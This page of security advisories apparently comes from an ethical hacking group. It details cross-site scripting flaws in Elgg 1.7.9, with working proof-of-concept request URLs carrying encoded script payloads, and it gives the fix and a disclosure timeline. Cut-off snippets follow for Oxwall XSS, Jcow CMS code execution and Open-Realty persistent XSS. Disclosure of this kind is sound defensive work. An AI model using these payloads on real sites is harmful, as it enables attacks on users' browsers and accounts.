Updates about YGN Ethical Hacker Group's Activities
Elgg 1.7.9 <= | Multiple Cross Site Scripting Vulnerabilities
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YGN Ethical Hacker Group
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1. OVERVIEW
The Elgg 1.7.9 and lower versions are vulnerable to multiple Cross Site Scripting.
2. BACKGROUND
Elgg is an award-winning social networking engine, delivering the building blocks that enable businesses, schools, universities and associations to create their own fully-featured social networks and applications. Well-known Organizations with networks powered by Elgg include: Australian Government, British Government, Federal Canadian Government, MITRE, The World Bank, UNESCO, NASA, Stanford University, Johns Hopkins University and more (http://elgg.org/powering.php)
3. VULNERABILITY DESCRIPTION
Several parameters (page_owner, content,internalname, QUERY_STRING) are not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser.
4. VERSIONS AFFECTED
Elgg 1.7.9 <=
5. PROOF-OF-CONCEPT/EXPLOIT
XSS (Browser All)
N.B. User login is required to execute.
vulnerable parameters: page_owner, content,internalname, QUERY_STRING
REQUEST:
http://localhost/elgg/mod/file/search.php?subtype=file&page_owner=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f
http://localhost/elgg/mod/riverdashboard/?content=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f&callback=true
http://localhost/elgg/pg/embed/upload?internalname=%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22
http://localhost/elgg/pg/pages/edit/%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22
XSS (Exploitable in Older versions of Browsers - IE/FF)
vulnerable parameters: send_to,container_guid
=====================================================
REQUEST:
http://localhost/elgg/pg/messages/compose/?send_to=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22s
Portion of RESPONSE:
REQUEST:
http://localhost/elgg/pg/pages/new/?container_guid=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22
Portion of RESPONSE:
6. SOLUTION
Upgrade to 1.7.10 or higher.
7. VENDOR
Curverider Ltd
http://www.curverider.co.uk/
http://elgg.org/
8. CREDIT
This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.
9. DISCLOSURE TIME-LINE
2011-06-09: vulnerability reported
2011-06-14: vendor released fixed version
2011-07-30: vulnerability disclosed
10. REFERENCES
Original Advisory URL: http://yehg.net/lab/pr0js/advisories/[elgg_179]_cross_site_scripting
Project Home: http://elgg.org/
Vendor Release Note: http://community.elgg.org/pg/forum/topic/734872/elgg-blog-elgg-1710-released/
XSS (owasp): http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
CWE-79: http://cwe.mitre.org/data/definitions/79.html
#yehg [2011-07-30]
1. OVERVIEW OxWall 1.1.1 and lower versions are vulnerable to Cross Site Scripting. 2. BACKGROUND Oxwall is a free open source software package for building social networks, family sites and collaboration systems. It is a flexible community website engine developed with the aim to provide people with a well-coded, user-friendly software platform for social needs. It is easy to set up, configure and manage Oxwall while you focus on your site idea. We are testing the concept of free open source community software for complete (site,sub-site setups) and partial (widgets,features) community and collaboration solutions for companies and individuals. 3. VULNERABILITY DESCRIPTION Multiple parameters were not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 1.1.1 and lower 5. PROOF-OF-CONCE
1. OVERVIEW
Jcow CMS versions (4.x: 4.2 and lower, 5.x: 5.2 and lower) are vulnerable to Arbitrary Code Execution.
2. BACKGROUND
Jcow is a flexible Social Networking software written in PHP. It can help you to build a social network for your interests and passions, a member community for your existing website and a social networking site like facebook/myspace/twitter.
3. VULNERABILITY DESCRIPTION
The parameter "attachment" is not properly sanitized upon submission to /index.php, which allows attacker to execute arbitrary PHP code of his own.
4. VERSIONS AFFECTED
Free version: 4.x: 4.2 and lower
Commercial version: 5.x: 5.2 and lower)
5. PROOF-OF-CONCEPT/EXPLOIT
http://dev.metasploit.com/redmine/attachments/1660/jcow_eval.rb
jcow 4.2.1:
file: /includes/libs/ss.inc.php
line: 167
$app = $_POST['attachment'];
if (strlen($app) && $app != 'status') {
include_once('modules/'.$app.&#
1. OVERVIEW Open-Realty CMS 3.x versions are vulnerable to Persistent Cross Site Scripting (XSS). 2. BACKGROUND Open-Realty is the world's leading real estate listing marketing and management CMS application, and has enjoyed being the real estate web site software of choice for professional web site developers since 2002. 3. VULNERABILITY DESCRIPTION Multiple parameters are not properly sanitized, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser. 4. VERSIONS AFFECTED 3.x 5. PROOF-OF-CONCEPT/EXPLOIT /admin/ajax.php (parameter: title, full_desc, ta) /////////////////////////////////////////////////////// POST /admin/ajax.php?action=ajax_update_listing_data HTTP/1.1 Host: localhost Content-Length: 574 Origin: http://localhost X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded